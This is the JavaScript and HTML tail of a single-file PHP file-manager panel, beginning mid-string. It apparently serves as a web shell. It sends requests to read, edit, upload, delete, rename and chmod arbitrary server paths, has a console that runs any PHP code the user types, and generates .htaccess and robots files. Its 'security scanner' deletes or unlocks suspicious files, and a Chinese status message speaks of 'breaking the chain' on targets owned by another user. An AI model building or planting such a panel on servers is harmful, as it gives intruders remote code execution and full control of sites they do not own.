'\u26a0 \u90e8\u5206\u76ee\u6807\u672a\u80fd\u65ad\u94fe\u3002\n\u53ef\u80fd\u539f\u56e0:\n\u2022 \u6587\u4ef6\u5c5e\u4e3b\u4e0d\u662f\u5f53\u524d PHP \u7528\u6237(\u9700 SSH \u4ee5\u771f\u5b9e\u5c5e\u4e3b\u6216 root \u6743\u9650\u6267\u884c)\n\u2022 \u6839\u76ee\u5f55\u672c\u8eab\u6743\u9650\u4ecd\u4e3a 555,\u672a\u80fd\u5199\u5165\u3002\n\u5df2\u65ad\u94fe\u7684\u90e8\u5206\u5df2\u751f\u6548,\u53ef\u4ee5\u5148\u770b\u770b\u7f51\u7ad9\u884c\u4e3a\u662f\u5426\u6b63\u5e38')+'</div></div>';
}
if(res.note){
h+='<div style="margin-top:8px;padding:6px 10px;border-radius:4px;background:#eff6ff;color:#1e40af;font-size:12px">\u2139 '+escH(res.note)+'</div>';
}
box.innerHTML=h;
}).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
});
}
/* ===== Utility dialogs ===== */
function showFlash(m,ok){var e=document.getElementById('flash');e.innerText=m;e.style.display='block';e.style.background=ok?'#dcfce7':'#fee2e2';e.style.color=ok?'#166534':'#991b1b';e.style.borderLeft=ok?'4px solid #22c55e':'4px solid #ef4444';setTimeout(function(){e.style.display='none';},5000);}
function aqAlert(msg){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><div class="aq-btns"><button class="btn primary" id="__aq_ao">OK</button></div></div>';document.body.appendChild(o);document.getElementById('__aq_ao').onclick=function(){o.remove();resolve();};});}
function aqConfirm(msg){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><div class="aq-btns"><button class="btn" id="__aq_cc" style="margin-right:8px">Cancel</button><button class="btn danger" id="__aq_co">OK</button></div></div>';document.body.appendChild(o);document.getElementById('__aq_co').onclick=function(){o.remove();resolve(true);};document.getElementById('__aq_cc').onclick=function(){o.remove();resolve(false);};});}
function aqPrompt(msg,val){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><input id="__aq_pi" value="'+(val||'')+'"><div class="aq-btns"><button class="btn" id="__aq_pc" style="margin-right:8px">Cancel</button><button class="btn primary" id="__aq_po">OK</button></div></div>';document.body.appendChild(o);var inp=document.getElementById('__aq_pi');inp.focus();inp.select();function done(v){o.remove();resolve(v);}document.getElementById('__aq_po').onclick=function(){done(inp.value);};document.getElementById('__aq_pc').onclick=function(){done(null);};inp.onkeydown=function(e){if(e.key==='Enter')done(inp.value);if(e.key==='Escape')done(null);};});}
/* ===== Editor ===== */
var currentFullPath='';
function openEditor(p){var f=decodeURIComponent(p);currentFullPath=f;document.getElementById('editorTitle').innerText='Edit: '+f.split('/').pop();document.getElementById('editorPath').innerText=f;document.getElementById('editorContent').value='Loading...';document.getElementById('editorModal').style.display='flex';fetch('?api=1&action=getfile&fullpath='+encodeURIComponent(f)).then(function(r){if(!r.ok)throw new Error('fail');return r.text();}).then(function(t){document.getElementById('editorContent').value=t;}).catch(function(){document.getElementById('editorContent').value='';aqAlert('Read file failed');});}
function closeEditor(){document.getElementById('editorModal').style.display='none';currentFullPath='';document.getElementById('editorContent').value='';}
document.getElementById('saveBtn').addEventListener('click',function(){if(!currentFullPath)return;var f=new FormData();f.append('api','1');f.append('action','savefile');f.append('fullpath',currentFullPath);f.append('content',document.getElementById('editorContent').value);fetch('',{method:'POST',body:f}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Saved successfully',true);setTimeout(function(){location.reload();},700);}else aqAlert('Save failed: '+(d.error||'Error'));}).catch(function(){aqAlert('Network error');});});
/* ===== Upload ===== */
var dropArea=document.getElementById('dropArea'),fileInput=document.getElementById('fileInput'),progressList=document.getElementById('progressList');
function openUpload(){document.getElementById('uploadModal').style.display='flex';}function closeUpload(){document.getElementById('uploadModal').style.display='none';progressList.innerHTML='';}
dropArea.addEventListener('click',function(){fileInput.click();});fileInput.addEventListener('change',function(){handleFiles(fileInput.files);});
var evts=['dragenter','dragover','dragleave','drop'];for(var i=0;i<evts.length;i++){(function(e){dropArea.addEventListener(e,function(ev){ev.preventDefault();ev.stopPropagation();},false);})(evts[i]);}
dropArea.addEventListener('drop',function(e){handleFiles(e.dataTransfer.files);});
function handleFiles(fs){for(var i=0;i<fs.length;i++)uploadFile(fs[i]);}
function uploadFile(f){var r=document.createElement('div');r.className='progress-item';var n=document.createElement('div');n.style.width='220px';n.innerText=f.name;var b=document.createElement('div');b.className='progress-bar';var l=document.createElement('div');l.className='progress-fill';b.appendChild(l);var t=document.createElement('div');t.className='progress-text';t.innerText='0%';r.appendChild(n);r.appendChild(b);r.appendChild(t);progressList.appendChild(r);var x=new XMLHttpRequest(),d=new FormData();d.append('file[]',f);d.append('api','1');d.append('action','upload');d.append('target','<?php echo esc($target);?>');x.open('POST','?',true);x.upload.addEventListener('progress',function(e){if(e.lengthComputable){var p=Math.round(e.loaded/e.total*100);l.style.width=p+'%';t.innerText=p+'%';}});x.onreadystatechange=function(){if(x.readyState===4){if(x.status===200){t.innerText='Done';showFlash('Upload complete',true);setTimeout(function(){location.reload();},800);}else{t.innerText='Failed';}}};x.send(d);}
/* ===== File ops ===== */
function doDelete(e){var f=decodeURIComponent(e);aqConfirm('Permanently delete:\n'+f+' ?').then(function(ok){if(!ok)return;var d=new FormData();d.append('api','1');d.append('action','delete');d.append('fullpath',f);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Deleted',true);setTimeout(function(){location.reload();},700);}else aqAlert('Delete failed');});});}
function doRename(e){var f=decodeURIComponent(e);aqPrompt('New name',f.split('/').pop()).then(function(n){if(!n)return;var d=new FormData();d.append('api','1');d.append('action','rename');d.append('fullpath',f);d.append('newname',n);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Renamed',true);setTimeout(function(){location.reload();},700);}else aqAlert('Rename failed');});});}
function doChmod(e){var f=decodeURIComponent(e);aqPrompt('Octal perms','0644').then(function(m){if(!m)return;var d=new FormData();d.append('api','1');d.append('action','chmod');d.append('fullpath',f);d.append('mode',m);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Chmod updated',true);setTimeout(function(){location.reload();},700);}else aqAlert('Chmod failed');});});}
function doMkdir(){aqPrompt('Folder name','').then(function(n){if(!n)return;var d=new FormData();d.append('api','1');d.append('action','mkdir');d.append('dirpath','<?php echo esc($target);?>');d.append('name',n);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Created',true);setTimeout(function(){location.reload();},700);}else aqAlert('Create failed');});});}
function doGenFile(t){var d=new FormData();d.append('api','1');d.append('action',t==='htaccess'?'gen_htaccess':'gen_robots');d.append('dirpath','<?php echo esc($target);?>');fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Generated!',true);setTimeout(function(){location.reload();},700);}else aqAlert('Generation failed');});}
/* ===== PHP Console ===== */
function openConsole(){document.getElementById('consoleModal').style.display='flex';document.getElementById('consoleCode').focus();}
function closeConsole(){document.getElementById('consoleModal').style.display='none';}
function clearConsole(){document.getElementById('consoleOutput').innerText='Output will appear here...';document.getElementById('consoleMeta').innerText='';document.getElementById('consoleCode').value='';document.getElementById('consoleCode').focus();}
function runConsole(){
var code=document.getElementById('consoleCode').value;
if(!code.replace(/\s/g,'')){aqAlert('Please enter PHP code.');return;}
var btn=document.getElementById('runBtn');
btn.disabled=true;btn.innerText='⏳ Running...';
var out=document.getElementById('consoleOutput');
out.innerText='Executing...';
var fd=new FormData();fd.append('api','1');fd.append('action','phpconsole');fd.append('code',code);
fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
var result='';
if(d.warnings)result+=d.warnings+'\n\n';
if(d.error)result+=d.error+'\n\n';
if(d.output)result+=d.output;
if(d['return'])result+=(result?'\n\n':'')+'Return: '+d['return'];
if(!result)result='(no output)';
out.innerText=result;
document.getElementById('consoleMeta').innerText=d.time+' | PHP '+d.php_version;
btn.disabled=false;btn.innerText='▶ Run';
}).catch(function(e){out.innerText='Network error: '+e.message;btn.disabled=false;btn.innerText='▶ Run';});
}
document.getElementById('consoleCode').addEventListener('keydown',function(e){
if(e.key==='Tab'){e.preventDefault();var s=this.selectionStart,en=this.selectionEnd;this.value=this.value.substring(0,s)+' '+this.value.substring(en);this.selectionStart=this.selectionEnd=s+4;}
if((e.ctrlKey||e.metaKey)&&e.key==='Enter'){e.preventDefault();runConsole();}
});
/* ===== Create File (simple) ===== */
function openCreateFile(){document.getElementById('createModal').style.display='flex';document.getElementById('createFileName').value='';document.getElementById('createContent').value='';document.getElementById('createFileName').focus();}
function closeCreateFile(){document.getElementById('createModal').style.display='none';}
function submitCreateFile(){
var name=document.getElementById('createFileName').value.replace(/^\s+|\s+$/g,'');
if(!name){aqAlert('Please enter a file name with extension.');return;}
var content=document.getElementById('createContent').value;
var fd=new FormData();fd.append('api','1');fd.append('action','createfile');fd.append('dirpath','<?php echo esc($target);?>');fd.append('filename',name);fd.append('content',content);
fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
if(d.ok){showFlash('File "'+name+'" created!',true);closeCreateFile();setTimeout(function(){location.reload();},700);}
else aqAlert('Failed: '+(d.error||'Unknown error'));
}).catch(function(){aqAlert('Network error');});
}
document.getElementById('createFileName').addEventListener('keydown',function(e){if(e.key==='Enter'){e.preventDefault();submitCreateFile();}});
/* ===== Security Scanner ===== */
function openScanner(){document.getElementById('scanModal').style.display='flex';}
function closeScan(){document.getElementById('scanModal').style.display='none';}
function runScan(){
var btn=document.getElementById('scanBtn');
btn.disabled=true;btn.innerText='⏳ Scanning...';
var res=document.getElementById('scanResults');
res.innerHTML='<div style="text-align:center;padding:30px;color:var(--muted)">Scanning files, please wait...<br>This may take a moment for large sites.</div>';
document.getElementById('scanSummary').innerText='';
var fd=new FormData();fd.append('api','1');fd.append('action','security_scan');fd.append('scandir',document.getElementById('scanPath').value);
fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
btn.disabled=false;btn.innerText='🔍 Start Scan';
if(!d.ok){res.innerHTML='<div style="color:#dc2626;padding:20px">Scan failed</div>';return;}
if(d.count===0){
res.innerHTML='<div class="scan-safe">✅ No suspicious files found!<br><span style="font-size:13px;color:var(--muted)">Scanned: '+escH(d.scan_root)+'</span></div>';
document.getElementById('scanSummary').innerText='0 threats found';
return;
}
var html='';
var high=0,med=0;
for(var i=0;i<d.findings.length;i++){
var f=d.findings[i];
var cls=f.risk==='high'?'scan-item':'scan-item medium';
if(f.risk==='high')high++;else med++;
var acts='';
if(f.type==='config_inject'){
acts='<button class="btn danger" onclick="fixItem(\'clean_config\',\''+escAttr(f.path)+'\')">🧹Clean</button>';
}else if(f.type==='locked_perm'||f.type==='locked_dir'){
var tgt=f.type==='locked_dir'?'chmod755':'chmod644';
acts='<button class="btn primary" onclick="fixItem(\''+tgt+'\',\''+escAttr(f.path)+'\')">🔓Unlock</button>';
}else{
acts='<button class="btn danger" onclick="fixItem(\'delete\',\''+escAttr(f.path)+'\')">🗑Delete</button>';
acts+=' <button class="btn" onclick="openEditor(\''+encodeURIComponent(f.path)+'\')">👁View</button>';
}
html+='<div class="'+cls+'"><div><div class="si-path">'+escH(f.path)+'</div><div class="si-reason">'+escH(f.type)+': '+escH(f.reason)+'</div></div><div class="si-actions">'+acts+'</div></div>';
}
res.innerHTML=html;
document.getElementById('scanSummary').innerText='Found: '+high+' high risk, '+med+' medium risk | Scanned: '+d.scan_root;
}).catch(function(e){btn.disabled=false;btn.innerText='🔍 Start Scan';res.innerHTML='<div style="color:#dc2626;padding:20px">Network error</div>';});
}
function fixItem(act,path){
var label=act==='delete'?'DELETE this file permanently':'Apply fix';
aqConfirm(label+'?\n'+path).then(function(ok){
if(!ok)return;
var fd=new FormData();fd.append('api','1');fd.append('action','security_fix');
fd.append('fixes',JSON.stringify([{path:path,act:act}]));
fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
if(d.ok&&d.results&&d.results[0]){
var r=d.results[0];
if(r.ok){showFlash(r.msg,true);setTimeout(function(){runScan();},500);}
else aqAlert('Failed: '+r.msg);
}else aqAlert('Fix failed');
}).catch(function(){aqAlert('Network error');});
});
}
function resetDocroot(){
aqConfirm('Reset DocRoot permissions?\n\nThis will set:\n• All directories → 755\n• All files → 644\n\nIn: <?php echo esc($docRoot?$docRoot:$target);?>').then(function(ok){
if(!ok)return;
var fd=new FormData();fd.append('api','1');fd.append('action','reset_docroot_perms');
fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
if(d.ok){
var ok=0,fail=0;
for(var i=0;i<d.log.length;i++){if(d.log[i].ok)ok++;else fail++;}
showFlash('DocRoot reset: '+ok+' succeeded, '+fail+' failed',fail===0);
if(fail>0){
var failList='';
for(var j=0;j<d.log.length;j++){if(!d.log[j].ok)failList+=d.log[j].path+'\n';}
aqAlert('These files could not be changed (may need root/SSH):\n\n'+failList);
}
}else aqAlert('Reset failed');
}).catch(function(){aqAlert('Network error');});
});
}
function escH(s){var d=document.createElement('div');d.appendChild(document.createTextNode(s));return d.innerHTML;}
function escAttr(s){return s.replace(/\\/g,'\\\\').replace(/'/g,"\\'");}
</script></body></html>